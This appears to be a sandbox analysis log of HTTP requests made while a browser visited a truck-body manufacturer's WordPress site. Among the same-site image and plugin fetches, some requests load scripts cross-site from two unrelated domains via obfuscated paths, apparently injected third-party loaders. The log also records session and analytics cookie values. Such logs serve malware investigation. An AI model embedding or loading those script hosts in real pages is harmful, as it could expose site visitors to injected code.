_gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/commercial-transportation/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-cab-structural.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2020/11/commercial-truck-header.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /services/logistics-and-service/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/logistics-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/logistics-and-service/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
